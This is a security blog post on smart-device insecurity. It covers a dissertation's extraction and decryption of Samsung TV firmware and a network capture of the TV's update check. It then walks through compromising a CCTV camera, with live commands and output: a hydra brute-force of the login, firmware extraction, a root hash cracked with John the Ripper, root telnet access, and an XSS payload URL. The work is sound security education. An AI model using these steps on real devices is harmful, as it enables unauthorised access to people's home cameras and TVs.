The Backdoor in your Living Room
The Backdoor in your Living Room
I had to smile the other day when I saw this headline:
It basically took my back to the old phrase … “The Network is the Computer”, and where I realise that we just have just plain-old computers running within our smart devices in the home. I often show that my wi-fi kettle is just plain old Linux:
And how simple it is to extract firmware from a device:
And so we replace the old attacks our against computers with new ones will be against our TVs, toasters and toys.
Overall the virus scanning on TV is a partnership between Samsung and McAfee Software, and where Samsung TVs are shipped with a virus scanner. Smart TVs, themselves, have range of operating systems [1]:
So why is a virus scanner needed? Well, the Tizen operating system which runs on Samsung TVs does not have a good track record with its security. Within its infrastruture it defines core applications — such as for security, connectivity and Web — and then builds applications on top of these [2]:
For the Tizen OS, Amihai Neiderman recently defined that:
“It may be the worst code I’ve ever seen,”
“Everything you can do wrong there, they do it. You can see that nobody with any understanding of security looked at this code or wrote it. It’s like taking an undergraduate and letting him program your software.”
I will now outline some work we did here on a Samsung TV and which was part of an MSc dissertation [1].
Extraction Activities
[The work of Security Evaluation of Smart TV Forensics, Roger Williams, MSc Dissertation]
For the selected model the firmware can be obtained from the Samsung support website. The firmware is downloaded and copied on to a USB device:
The firmware file requires extraction prior to being decrypted and the firmware has a self-extracting utility. The files are extracted on to the USB device:
The extracted file information contains many encrypted images, specifically the exe.img, roofs.img, appext.img and the uImage files. The USB extracted files are then copied to the Ubuntu machine. The SamyGO.py python script is run against the firmware contents and the encrypted images are decrypted.
The SamyGo script appears to focus on the .sec files which contain the key information to decrypt their respective image files. So for example the rootfs.img.se c file is decrypte d us- ing an AES and XOR to establish the key val- ue. The key value will then be used to access the rootfs.img file.
The run of Samygo has been successful in this run and several additional files are created.
The directory now contains decrypted image files which can be either mounted or extracted using the 7-Zip file extraction utility on Windows. 7-Zip was used to navigate the directory structures:
Using 7-Zip the image files can be extracted and the directory structure navigate d to understand more about their function and the services available The images of interest are the appext.img, rootfsi.mg and the exe.img and these will be the subject of further analysis.
Analysis appext.img
After gaining access to the appext.img, the file syste m is identified. This can be done by selecting one of the files pre- sent within the Gemstar folder, in the example, libGe m- starEPGc ore.so. By examining the properties, it was possible to conclude that the appext.img is contains the SquashFS file system version 4.0:
The appext.img contains many sub-directory folders which in turn form what appears to be the application layer of the operating system. A folder, Gemstar, contains information of the Ele c- tronic Program Guide which is presented to the audience through a UI. Another folder, SmartHome, contains utilities for the Samsung Smart Home hub where IoT devices are connected to the hub and can subsequently be accessed or viewed from the Smart TV. The transponder f ile contains XML configuration details for various provi ders of digital services via satellite, while OIPF (Open IPTV forum) [95] contains information on the settings for the television i.e. parental controls, AV control. The SmartTV folder contains channel configuration information, recording lists, guide and scheduling information. Finally, File I/O, plugins, network sockets and other utilities required for java applications are contained in the WMcommon directory.
Analysis exe.img
Again, the first step in examining the exe.img, was to establish the file syste m in use. By selecting the images file from the main root folder and examining the properties for file system information. The images file indicated that exe.img was using the SquashFS version 4.0 file system:
The exe-image contains a lot of information about the execution of applications and the fun c- tions and processes required to interact with the application layer and the lower core applic a- tions sitting above the kernel. A key file is the partitions table that provides details of the vari- ous partitions, devices and mount information. A sub folder contains the exe DSP application which operates the Digital Signal Processor (DSP). The image also contains the Wireless and DHCP settings along with a Web Server and related certificates, web security and cryptography functions.
A Runtime folder contains the X11 graphical interface, drivers and multimedia libraries associ- ated with the Mali GPU integration and rendering functions. In terms of relating this image and functions, the exe.img aligns itself to the application frame- work and runtime environment associated with the Tizen Operating System.
Analysis rootfs.img
As with appext.img and exe.img, the file system in use for rootfs.img was sought. Following the previous approach as exe.img and appext.img, a file from the rootfs.img was in- spected and the properties examined. In this example the mtf_appdata file was examined. The properties confirmed that rootfs.img was also using the Squashfs version 4.0 file system:
The rootfs.img image primarily consists of file syste m information and lower level commands and device drivers associated with communication with the Kernel and devices, and with the higher-level application framework identified in the exe.img image. The /dev directory contains partition and boot information while the /bin directory contains all the relevant Linux commands.
Passwd and rc.local files are found in the /etc directory which also contains mount and un- mount shell scripts as well as network initialisation and partition checking. The /lib directory contains a sub directory /modules that contains a number of kernel object files (.ko) that supports the kernels loading of devices and file syste ms.
uImage
During the analysis of the firmware it was not possible to gain access to the uImage image as 7-Zip was unable to extract from it. It was however possible to use the mkimage utility in Ubuntu to extract the header information. The header information confirmed that uImage is the Linux Kernel image used to boot the operating system:
Executing the following command:
>mkimage –l uImage
will dump the infor- mation present in the header. The output confirms that uImage is an ARM Linux Kernel image. Version 2.6.35.13.
After analysing the other firmware images, appext, exe and rootfs, and establishing the relevant hierarchical level for each of these, then it could be expected that the uImage contain the perti- nent Linux kernel, this was confirmed by dum ping the header information using the mkimage tool, and inte grating the uImage image using the Binwalk firmware analysis tool.
Binwalk is a firmware analysis tool designe d to inte grate the image for embedded files and executable code, to extract data contained within the firmware image and to allow analysts to reverse engineer the firmware [96]. Binwalk was use to examine the uImage file (figure 19) and identified the image name and that the image type was that of a kernel OS and the version, linux-2.6.35.13, was the same version identified by the mkimage tool.
The mkimage utility listed the Linux information, including version and the load address in- formation. The uImage is a Linux image that contains a U-Boot wrapper, which is a universal boot loader primarily used by embedde d devices, such as those using the ARM architecture, and contains the instructions for booting the device’s operating system ke rnel. [97]. In kernel (uImage), along with the other components of the operating syste m are likely to be stored in the flash memory (NAND or NOR flash), U-Boot would then perform the first stage (memory con- trollers and devices) and then second stage , booting the operating system.
File System Information
The partition information extracted from the exe.img details each partition present as well as the image and mount information. Of the twenty-one partitions, it was possibleto identify six that are based on the SquashFS file system and two that contain a bootable kernel image. In addition, partition 17 and 18 are also SquashFS file system, though it has not been possibleto confirm this with any evidence.
Partitions 0 and 1 contain the bootloader information that boots the kernel located in partitions 2 and 5 then loads the operating system file systems contained in partitions 3, 6, 13, 14, 15 and 16. I’ve not been able to determine the file systems present in the other partitions but the assumption is that several these must contain eMMc file system information as this device is present on the circuit board.
Cautionary note
Having reviewed new Samsung models and extracted the firmware it would it appears that Samsung have modified the delivery mechanism on later models and the firmware in now contained in an upgrade.msd file which appears to be a form of secure delivery mechanism.
The first interesting thing to note is that OpenSSL is used for the encryption and decryption of files rather than, for example GPG (GNU Privacy Guard). OpenSSL encryption is thought to have several weaknesses, not least because the encryption standard used by OpenSSL is non — standard in itself, but perhaps more infamously due the Heartbleed vulnerability identified in 2014. Binwalk has also identified several data archives using HPACK, Parchive used for transferring data between systems and checking parity after transfer. Binwalk also identifies a large number MYSQL data files and indexes and a vmware disk image. However, without decrypting and decompressing the contents I’m unable to determine whether significant differences exist between the contents of this firmware (upgrade .msd) and the one analyse d above.
Network Analysis
Having reverse engineered the firmware associated with a Samsung Smart TV, it is important to understand how the delivery of firmware over a broadcast signal might occur and therefore a network analysis activity was undertaken.
Wireshark© is a network protocol analyse r and packet sniffer that can be used to inspect network protocols and their contents. Wireshark can work in offline mode, where previously captured PCAP files can be analysed, or in on-line mode where live traffic can be captured then analysed. In this examination, I’m interested in a specific network activity and the traffic ge n- erated, and will therefore operate in on-line mode. The objective is to examine the Firmware update procedure; what activity occurs between the Smart TV and Samsung host services to establish the version of the firmware and whether and upgrade is re- quired.
Experimental Approach
The following figure depicts the hardware setup and topology used during the experiment. The Smart TV and Dell laptop were connected to an Ethernet splitter which enables the network traffic generated by the smart TV to be relayed to the Dell laptop running Wireshark. During the exper i- ment the network traffic will be recorded in a separate PCAP file. This PCAP file will then be manually analysed in Wireshark to identify the host names, files transferred (if any), credentials passed, session information and any parameters passed between hosts:
A Ubuntu laptop was configured to create a Wireless Hotspot to which the Samsung Smart TV can be connected. The Ubuntu laptop in return is connected to the router via an Ethernet cable. Wireshark, which as previously discussed, is application that can sniff and analyse network packets, was used to record and later analyse the network traffic to and from the Smart TV.
Firmware update process
The experimental network analysis activity was to establish the process that occurs when the Samsung Smart TV communicates with the Samsung host services site to identify whether a firmware update is required. The Wireshark application captures the communication traffic and contents between the Smart TV and two Samsung hosted sites: http://cdn.samsungcloudsolution.com/Public/network/files/check.xml and www.samsungotn.net, where the firmware is compared against the latest version.
Accessing the sites directly via a browser ge nerates an error message (see opposite). The assumption is that the TV model and firmware information is passed by the Samsung smart TV to http://cdn.samsungcloudsolution.com/Public/netwo rk/files/check.xml and www.samsungotn.net via XML for verification and validation.
The initial communication with the server can be seen in the Wireshark trace:
The Smart TV initially resolves the DNS for the cdn.samsungcloudsolution.com to obtain the address. This is followed by a successful TCP handshake to the host. Accessing the site directly indicates some missing parameter information:
This initial HTTP request suggests a specific request to perform a validation, though on the return message the contents are difficult to ascertain, a positive response to received.
The assumption made here is that the response although correct, instigate s the Smart TV to repeat the process against another address retrieved from the DNS query, 54.192.197.102, and initiates another HTTP request.
And the response, suggests a successful connection and response, though the contents indicate a valid OK response, there is no other significant content:
The Smart TV continues to perform the same HTTP request to other IP addresses associated with the DNS request, this time initiating the request with 54.192.197.238, and again receiving a positive response but no evidence of a upgrade file passing between hosts:
After the communications associated with the http://cdn.samsungcloudsolution.com domain the Smart TV then proceeds to identify another Samsung host service http://otnprd10.samsungcloudsolution.net/, via the DNS Protocol
Accessing the site directly returns the error message indicated as:
This initial communication with the host server identifies the cipher suites that are available for use.
If you want to know more about the further investigation … please contact me.
CCTV Camera Analysis
To show how easy it is to analyse the firmare on a device, we will analyse a CCTV camera. First we determine the TCP ports open on the device:
root@kali:~/system/system/bin# nmap 192.168.0.2
Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-04 12:52 GMT
Nmap scan report for Unknown (192.168.0.2)
Host is up (0.0062s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
8600/tcp open asterix
MAC Address: 78:A5:DD:08:FC:DC (Shenzhen Smarteye Digital Electronics Co.)
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
Next, we find that the Web server does not have a lock-out on usernames and passwords:
billbuchanan@Bills-MacBook-Pro:~/webcam$ hydra -V -W 1 -t 1 -L user.txt -P pass.txt 192.168.0.2 http
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2015-01-04 12:59:18
[WARNING] The service http has been replaced with http-head and http-get, using by default GET method. Same for https.
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] 1 task, 1 server, 30 login tries (l:5/p:6), ~30 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.0.2 - login "root" - pass "password" - 1 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "root" - pass "default" - 2 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "root" - pass "none" - 3 of 30 [child 0]
...
[ATTEMPT] target 192.168.0.2 - login "admin" - pass "123" - 16 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "admin" - pass "12345" - 17 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "admin" - pass "123456" - 18 of 30 [child 0]
[80][www] host: 192.168.0.2 login: admin password: 123456
[ATTEMPT] target 192.168.0.2 - login "user" - pass "password" - 19 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "user" - pass "default" - 20 of 30 [child 0]
[ATTEMPT] target 192.168.0.2 - login "user" - pass "none" - 21 of 30 [child 0]
The Telnet service on the IP camera locks out after three attempts, but we can examine the firmware from the camera:
root@kali:~# binwalk 51.3.0.152.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
36 0x24 Zip archive data, at least v1.0 to extract, name: "system/"
101 0x65 Zip archive data, at least v1.0 to extract, name: "system/Wireless/"
175 0xAF Zip archive data, at least v1.0 to extract, name: "system/system/"
247 0xF7 Zip archive data, at least v1.0 to extract, name: "system/system/drivers/"
327 0x147 Zip archive data, at least v1.0 to extract, name: "system/system/bin/"
403 0x193 Zip archive data, at least v2.0 to extract, compressed size: 25717, uncompressed size: 108204, name: "system/system/bin/daemon.v5.5"
26207 0x665F Zip archive data, at least v2.0 to extract, compressed size: 167785, uncompressed size: 685920, name: "system/system/bin/mailx"
194073 0x2F619 Zip archive data, at least v2.0 to extract, compressed size: 238464, uncompressed size: 780068, name: "system/system/bin/encoder"
432620 0x699EC Zip archive data, at least v2.0 to extract, compressed size: 3106, uncompressed size: 8372, name: "system/system/bin/gmail_thread"
435814 0x6A666 Zip archive data, at least v2.0 to extract, compressed size: 3075, uncompressed size: 8260, name: "system/system/bin/cmd_thread"
438975 0x6B2BF Zip archive data, at least v2.0 to extract, compressed size: 13149, uncompressed size: 45876, name: "system/system/bin/ssmtp"
452205 0x6E66D Zip archive data, at least v2.0 to extract, compressed size: 24681, uncompressed size: 104800, name: "system/system/bin/daemon.v5.3"
476973 0x7472D Zip archive data, at least v2.0 to extract, compressed size: 84641, uncompressed size: 170920, name: "system/system/bin/unzip1"
561696 0x89220 Zip archive data, at least v2.0 to extract, compressed size: 15429, uncompressed size: 43616, name: "system/system/bin/upnpc-static"
577213 0x8CEBD Zip archive data, at least v2.0 to extract, compressed size: 35607, uncompressed size: 95132, name: "system/system/bin/ftp"
612899 0x95A23 Zip archive data, at least v1.0 to extract, name: "system/system/lib/"
612975 0x95A6F Zip archive data, at least v1.0 to extract, name: "system/www/"
613044 0x95AB4 Zip archive data, at least v1.0 to extract, name: "system/init/"
613114 0x95AFA Zip archive data, at least v2.0 to extract, compressed size: 99, uncompressed size: 203, name: "system/init/ipcam.sh"
615021 0x9626D End of Zip archive
We can now extract the firmware to a ZIP file (image.zip) and then extrat it using:
dd bs=1 skip=36 if=51.3.0.152.bin of=image.zip
unzip image.zip
Next we can then examine the daemon file for its contents, and can see that it contains the details of the /etc/passwd file:
root@kali:~# cat daemon.v5.5
ps > /tmp/gps.txt/tmp/gps.txtrfopen failed
encoderreboot/system/system/bin/encoder &/etc/passwdwbroot:LSiuY7pOmZG2s:0:0:Adminstrator:/:/bin/sh/etc/grouproot:x:0:adminsystem:%2x-%2x-%2x
this isn't system file
We can then use John The Ripper to determine the password for the Administrator:
john pass.txt
root:123456:0:0:Adminstrator
1 password hash cracked, 0 left
After this we can log into the device using Telnet:
billbuchanan@Bills-MacBook-Pro:~/webcam$ telnet 192.168.0.2
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
(none) login: root
Password: 123456
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var tmp sys proc mnt lib home etc bin
usr system sbin param media init etc_ro dev
# cd system
# ls
system daemon Wireless init www
# cd www
# ls
mime.types config.htm ftp.htm
status.htm Deutsch jpeg.html
user.htm index1.htm snapshot.htm
traditional_chinese test_mail.htm alias.htm
...
ip.htm system-b.ini appversion.txt
french recordplay.htm sensordata.bin
upnp.htm params_backup.cgi ptz.htm
ap.htm multidev.htm recordsch.htm
We can then examine the system:
# cat /proc/version
Linux version 2.6.21 (root@mailzxh-desktop) (gcc version 3.4.2) #636 Fri Nov 16 10:03:21 CST 2012
# cat /proc/cpuinfo
system type : Ralink SoC
processor : 0
cpu model : MIPS 24K V4.12
BogoMIPS : 239.10
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes
ASEs implemented : mips16 dsp
VCED exceptions : not available
VCEI exceptions : not available
# cd /system
# cd init/
# ls
ipcam.sh
# cat ipcam.sh
export LD_LIBRARY_PATH=/system/system/lib:$LD_LIBRARY_PATH
export PATH=/system/system/bin:$PATH
telnetd
/system/system/bin/daemon.v5.5 &
/system/system/bin/cmd_thread &
/system/system/bin/gmail_thread &
Finally there is a XSS vulnerability on the device which allows the CGI script to inject code:
http://192.168.0.2:80/set_alias.cgi?alias=%22;alert("hello");var%20a=%22&next_url=alias.htm&loginuse=admin&loginpas=abcThis will cause the message “Hello” to be displayed for every page accessed.
Conclusions
Forget your computer as an attack vector on you and your family, it is the kettle, your kids toys, or even your TV.
References
[1] Security Evaluation of Smart TV Forensics, Roger Williams, MSc Disseration.
[2] Samsung Development Forum, “Get Started with Samsung Tizen TV,” 9th Sep 2016. [Online]. Available: https://www.samsungdforum.com/TizenIntroduction.